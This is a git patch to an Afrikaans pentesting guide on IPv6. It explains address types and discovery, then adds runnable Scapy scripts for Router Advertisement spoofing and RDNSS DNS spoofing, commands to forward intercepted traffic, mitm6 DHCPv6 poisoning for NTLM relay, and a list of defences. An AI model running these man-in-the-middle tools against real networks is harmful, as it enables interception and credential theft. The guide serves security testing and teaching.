From 19d293f8666f88ea9e76d00036193d5390dc4029 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 16:11:42 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../pentesting-network/pentesting-ipv6.md | 210 ++++++++++++++++-- 1 file changed, 189 insertions(+), 21 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index efd147f78..b9add3259 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -1,16 +1,18 @@ +# Pentesting IPv6 + {{#include ../../banners/hacktricks-training.md}} -# IPv6 Basiese teorie +## IPv6 Basiese teorie -## Netwerke +### Netwerke IPv6 adresse is gestruktureer om netwerkorganisasie en toestelinteraksie te verbeter. 'n IPv6 adres is verdeel in: 1. **Netwerk Vooraf**: Die aanvanklike 48 bits, wat die netwerksegment bepaal. -2. **Subnet ID**: Volgende 16 bits, gebruik om spesifieke subnets binne die netwerk te definieer. +2. **Subnet ID**: Die volgende 16 bits, wat gebruik word om spesifieke subnets binne die netwerk te definieer. 3. **Interface Identifiseerder**: Die laaste 64 bits, wat 'n toestel binne die subnet uniek identifiseer. -Terwyl IPv6 die ARP-protokol wat in IPv4 voorkom, weglat, stel dit **ICMPv6** in met twee primêre boodskappe: +Terwyl IPv6 die ARP-protokol wat in IPv4 voorkom, weglat, stel dit **ICMPv6** met twee primêre boodskappe bekend: - **Neighbor Solicitation (NS)**: Multicast boodskappe vir adresoplossing. - **Neighbor Advertisement (NA)**: Unicast antwoorde op NS of spontane aankondigings. @@ -18,13 +20,13 @@ Terwyl IPv6 die ARP-protokol wat in IPv4 voorkom, weglat, stel dit **ICMPv6** in IPv6 sluit ook spesiale adres tipes in: - **Loopback Adres (`::1`)**: Gelyk aan IPv4 se `127.0.0.1`, vir interne kommunikasie binne die gasheer. -- **Link-Local Adresse (`FE80::/10`)**: Vir plaaslike netwerkaktiwiteite, nie vir internetroutering nie. Toestelle op dieselfde plaaslike netwerk kan mekaar ontdek deur hierdie reeks te gebruik. +- **Link-Local Adresses (`FE80::/10`)**: Vir plaaslike netwerkaktiwiteite, nie vir internetroutering nie. Toestelle op dieselfde plaaslike netwerk kan mekaar ontdek met behulp van hierdie reeks. ### Praktiese Gebruik van IPv6 in Netwerkopdragte Om met IPv6 netwerke te kommunikeer, kan jy verskeie opdragte gebruik: -- **Ping Link-Local Adresse**: Kontroleer die teenwoordigheid van plaaslike toestelle met `ping6`. +- **Ping Link-Local Adresses**: Kontroleer die teenwoordigheid van plaaslike toestelle met `ping6`. - **Neighbor Discovery**: Gebruik `ip neigh` om toestelle wat by die skakelvlak ontdek is, te sien. - **alive6**: 'n Alternatiewe hulpmiddel om toestelle op dieselfde netwerk te ontdek. @@ -38,7 +40,7 @@ alive6 eth0 ``` IPv6 adresse kan afgelei word van 'n toestel se MAC adres vir plaaslike kommunikasie. Hier is 'n vereenvoudigde gids oor hoe om die Link-local IPv6 adres af te lei van 'n bekende MAC adres, en 'n kort oorsig van IPv6 adres tipes en metodes om IPv6 adresse binne 'n netwerk te ontdek. -## **Afleiding van Link-local IPv6 vanaf MAC Adres** +### **Afleiding van Link-local IPv6 vanaf MAC Adres** Gegewe 'n MAC adres **`12:34:56:78:9a:bc`**, kan jy die Link-local IPv6 adres soos volg saamstel: @@ -46,13 +48,13 @@ Gegewe 'n MAC adres **`12:34:56:78:9a:bc`**, kan jy die Link-local IPv6 adres so 2. Voeg `fe80::` voor en plaas `fffe` in die middel: **`fe80::1234:56ff:fe78:9abc`** 3. Draai die sewende bit van links om, verander `1234` na `1034`: **`fe80::1034:56ff:fe78:9abc`** -## **IPv6 Adres Tipes** +### **IPv6 Adres Tipes** - **Unieke Plaaslike Adres (ULA)**: Vir plaaslike kommunikasie, nie bedoel vir openbare internet routering nie. Vooraf: **`FEC00::/7`** - **Multicast Adres**: Vir een-tot-baie kommunikasie. Gelewer aan alle interfaces in die multicast groep. Vooraf: **`FF00::/8`** - **Anycast Adres**: Vir een-tot-nabyste kommunikasie. Gestuur na die naaste interface volgens die routering protokol. Deel van die **`2000::/3`** globale unicast reeks. -## **Adres Vooraf** +### **Adres Vooraf** - **fe80::/10**: Link-Local adresse (soos 169.254.x.x) - **fc00::/7**: Unieke Plaaslike-Unicast (soos private IPv4 reekse soos 10.x.x.x, 172.16.x.x, 192.168.x.x) @@ -60,14 +62,14 @@ Gegewe 'n MAC adres **`12:34:56:78:9a:bc`**, kan jy die Link-local IPv6 adres so - **ff02::1**: Multicast Alle Nodes - **ff02::2**: Multicast Router Nodes -## **Ontdekking van IPv6 Adresse binne 'n Netwerk** +### **Ontdekking van IPv6 Adresse binne 'n Netwerk** -### Weg 1: Gebruik van Link-local Adresse +#### Weg 1: Gebruik van Link-local Adresse 1. Verkry die MAC adres van 'n toestel binne die netwerk. 2. Lei die Link-local IPv6 adres af van die MAC adres. -### Weg 2: Gebruik van Multicast +#### Weg 2: Gebruik van Multicast 1. Stuur 'n ping na die multicast adres `ff02::1` om IPv6 adresse op die plaaslike netwerk te ontdek. ```bash @@ -75,37 +77,203 @@ service ufw stop # Stop the firewall ping6 -I ff02::1 # Send a ping to multicast address ip -6 neigh # Display the neighbor table ``` -## IPv6 Man-in-the-Middle (MitM) Aanvalle +### IPv6 Man-in-the-Middle (MitM) Aanvalle -Verskeie tegnieke bestaan om MitM aanvalle in IPv6 netwerke uit te voer, soos: +Verskeie tegnieke bestaan om MitM-aanvalle in IPv6-netwerke uit te voer, soos: -- Spoofing ICMPv6 buur of router advertensies. +- Spoofing van ICMPv6 buurman of router advertensies. - Gebruik van ICMPv6 herleiding of "Pakket Te Groot" boodskappe om routing te manipuleer. - Aanval op mobiele IPv6 (gewoonlik vereis dit dat IPSec gedeaktiveer word). - Opstel van 'n rogue DHCPv6 bediener. -# Identifisering van IPv6 Adresse in die veld +## Identifisering van IPv6 Adresse in die veld -## Verkenning van Subdomeine +### Verkenning van Subdomeine -'n Metode om subdomeine te vind wat moontlik aan IPv6 adresse gekoppel is, behels die gebruik van soekenjins. Byvoorbeeld, die gebruik van 'n navraagpatroon soos `ipv6.*` kan effektief wees. Spesifiek kan die volgende soekopdrag in Google gebruik word: +'n Metode om subdomeine te vind wat moontlik aan IPv6 adresse gekoppel is, behels die gebruik van soekenjins. Byvoorbeeld, die gebruik van 'n soekpatroon soos `ipv6.*` kan effektief wees. Spesifiek kan die volgende soekopdrag in Google gebruik word: ```bash site:ipv6./ ``` -## Die Gebruik van DNS-vrae +### Gebruik van DNS-vrae Om IPv6-adresse te identifiseer, kan sekere DNS-rekordtipes gevra word: -- **AXFR**: Versoek 'n volledige sone-oordrag, wat moontlik 'n wye reeks DNS-rekords kan onthul. +- **AXFR**: Versoek 'n volledige sone-oordrag, wat moontlik 'n wye verskeidenheid DNS-rekords kan onthul. - **AAAA**: Soek direk na IPv6-adresse. - **ANY**: 'n Breë vraag wat alle beskikbare DNS-rekords teruggee. -## Probing met Ping6 +### Probing met Ping6 Nadat IPv6-adresse wat met 'n organisasie geassosieer word, geïdentifiseer is, kan die `ping6` nut gebruik word vir probing. Hierdie hulpmiddel help om die responsiwiteit van geïdentifiseerde IPv6-adresse te evalueer, en kan ook help om aangrensende IPv6-toestelle te ontdek. +## IPv6 Plaaslike Netwerk Aanvalstegnieke + +Die volgende afdelings dek praktiese laag-2 IPv6-aanvalle wat uitgevoer kan word **binne dieselfde /64-segment** sonder om enige globale voorvoegsel te ken. Alle pakkette wat hieronder getoon word, is **link-lokaal** en reis slegs deur die plaaslike skakelaar, wat hulle uiters stil maak in die meeste omgewings. + +### Stelseltuning vir 'n Stabiele Laboratorium + +Voordat jy met IPv6-verkeer speel, word dit aanbeveel om jou toestel te versterk om te verhoed dat jy deur jou eie toetse gepekel word en om die beste prestasie te verkry tydens massiewe pakketinspuiting/snuffeling. +```bash +# Enable promiscuous mode to capture all frames +sudo ip link set dev eth0 promisc on + +# Ignore rogue Router Advertisements & Redirects coming from the segment +sudo sysctl -w net.ipv6.conf.all.accept_ra=0 +sudo sysctl -w net.ipv6.conf.all.accept_redirects=0 + +# Increase fd / backlog limits when generating lots of traffic +sudo sysctl -w fs.file-max=100000 +sudo sysctl -w net.core.somaxconn=65535 +sudo sysctl -w net.ipv4.tcp_tw_reuse=1 +``` +### Passiewe NDP & DHCPv6 Snuffeling + +Omdat elke IPv6 gasheer **automaties verskeie multicast groepe byvoeg** (`ff02::1`, `ff02::2`, …) en ICMPv6 praat vir SLAAC/NDP, kan jy die hele segment in kaart bring sonder om 'n enkele pakket te stuur. Die volgende Python/Scapy een-liner luister na die mees interessante L2 boodskappe en druk 'n gekleurde, tydstempel log van wie is wie: +```python +#!/usr/bin/env python3 +from scapy.all import * +from scapy.layers.dhcp6 import * +from datetime import datetime +from colorama import Fore, Style, init +import argparse + +init(autoreset=True) + +# Human-readable names for protocols we care about +DHCP6_TYPES = { +DHCP6_Solicit: 'Solicit', +DHCP6_Advertise: 'Advertise', +DHCP6_Request: 'Request', +DHCP6_Reply: 'Reply', +DHCP6_Renew: 'Renew', +DHCP6_Rebind: 'Rebind', +DHCP6_RelayForward:'Relay-Forward', +DHCP6_RelayReply: 'Relay-Reply' +} +ICMP6_TYPES = { +ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN), +ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN), +ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE), +ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA), +ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX), +ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX), +ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX), +ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX) +} + +def handler(pkt): +eth_src = pkt[Ether].src if Ether in pkt else '?' +eth_dst = pkt[Ether].dst if Ether in pkt else '?' +ip6_src = pkt[IPv6].src if IPv6 in pkt else '?' +ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?' + +# Identify protocol family first +for proto,(desc,color) in ICMP6_TYPES.items(): +if proto in pkt: +break +else: +if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port +for dhcp_t,name in DHCP6_TYPES.items(): +if dhcp_t in pkt: +desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break +else: +return # not a DHCPv6 message we track +else: +return # not interesting + +print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}") +print(f" MAC {eth_src} -> {eth_dst}") +print(f" IPv6 {ip6_src} -> {ip6_dst}") +print('-'*60) + +if __name__ == '__main__': +argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer') +argp.add_argument('-i','--interface',required=True,help='Interface to sniff') +argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)') +a = argp.parse_args() +sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) +``` +Resultaat: 'n volledige **link-lokale topologie** (MAC ⇄ IPv6) binne 'n paar sekondes, sonder om IPS/IDS stelsels wat op aktiewe skandeer staatmaak, te aktiveer. + +### Router Advertensie (RA) Spoofing + +IPv6 gasheerrekenaars staatmaak op **ICMPv6 Router Advertensies** vir standaard-gateway ontdekking. As jy vervalste RA's **meer gereeld** as die wettige router inspuit, sal toestelle stilweg na jou as die gateway oorgeskakel word. +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)') +p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef') +p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime') +p.add_argument('--interval',type=int,default=5,help='Seconds between RAs') +p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack') +args = p.parse_args() + +lifetime = 0 if args.revert else args.lifetime +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference +ICMPv6NDOptSrcLLAddr(lladdr=args.mac)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +Om werklik **verkeer** te **stuur** nadat jy die wedloop gewen het: +```bash +sudo sysctl -w net.ipv6.conf.all.forwarding=1 +sudo ip6tables -A FORWARD -i eth0 -j ACCEPT +sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +### RDNSS (DNS) Spoofing via RA + +[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) laat die toevoeging van 'n **Recursive DNS Server (RDNSS)** opsie binne 'n RA toe. Moderne OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) vertrou dit outomaties: +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('--llip',required=True) +p.add_argument('--dns',required=True,help='Fake DNS IPv6') +p.add_argument('--lifetime',type=int,default=600) +p.add_argument('--interval',type=int,default=5) +args = p.parse_args() + +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=0)/ +ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +Clients sal **voeg** jou DNS by hul resolver lys vir die gegewe leeftyd, wat volle DNS-hijacking toelaat totdat die waarde verval of jy 'n `lifetime=0` terugtrek stuur. + +### DHCPv6 DNS Spoofing (mitm6) + +In plaas van SLAAC, staat Windows-netwerke dikwels op **stateless DHCPv6** vir DNS. [mitm6](https://github.com/rofl0r/mitm6) antwoord outomaties op `Solicit` boodskappe met 'n **Advertise → Reply** vloei wat **jou link-lokale adres as DNS vir 300 sekondes toewys**. Dit ontsluit: + +* NTLM relay-aanvalle (WPAD + DNS hijacking) +* Interceptie van interne naamresolusie sonder om roeters aan te raak + +Tipiese gebruik: +```bash +sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning +``` +### Verdedigings + +* **RA Guard / DHCPv6 Guard / ND Inspeksie** op bestuurde skakelaars. +* Port ACLs wat slegs die wettige router se MAC toelaat om RAs te stuur. +* Monitor vir **onbetroubare hoë-tempo RAs** of skielike **RDNSS veranderinge**. +* Om IPv6 op eindpunte te deaktiveer is 'n tydelike oplossing wat dikwels moderne dienste breek en blinde kolle verberg – verkies L2 filtrering eerder. + ## Verwysings +- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) +- [mitm6](https://github.com/rofl0r/mitm6) +- [RFC 8106 – IPv6 ND DNS Konfigurasie](https://datatracker.ietf.org/doc/html/rfc8106) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)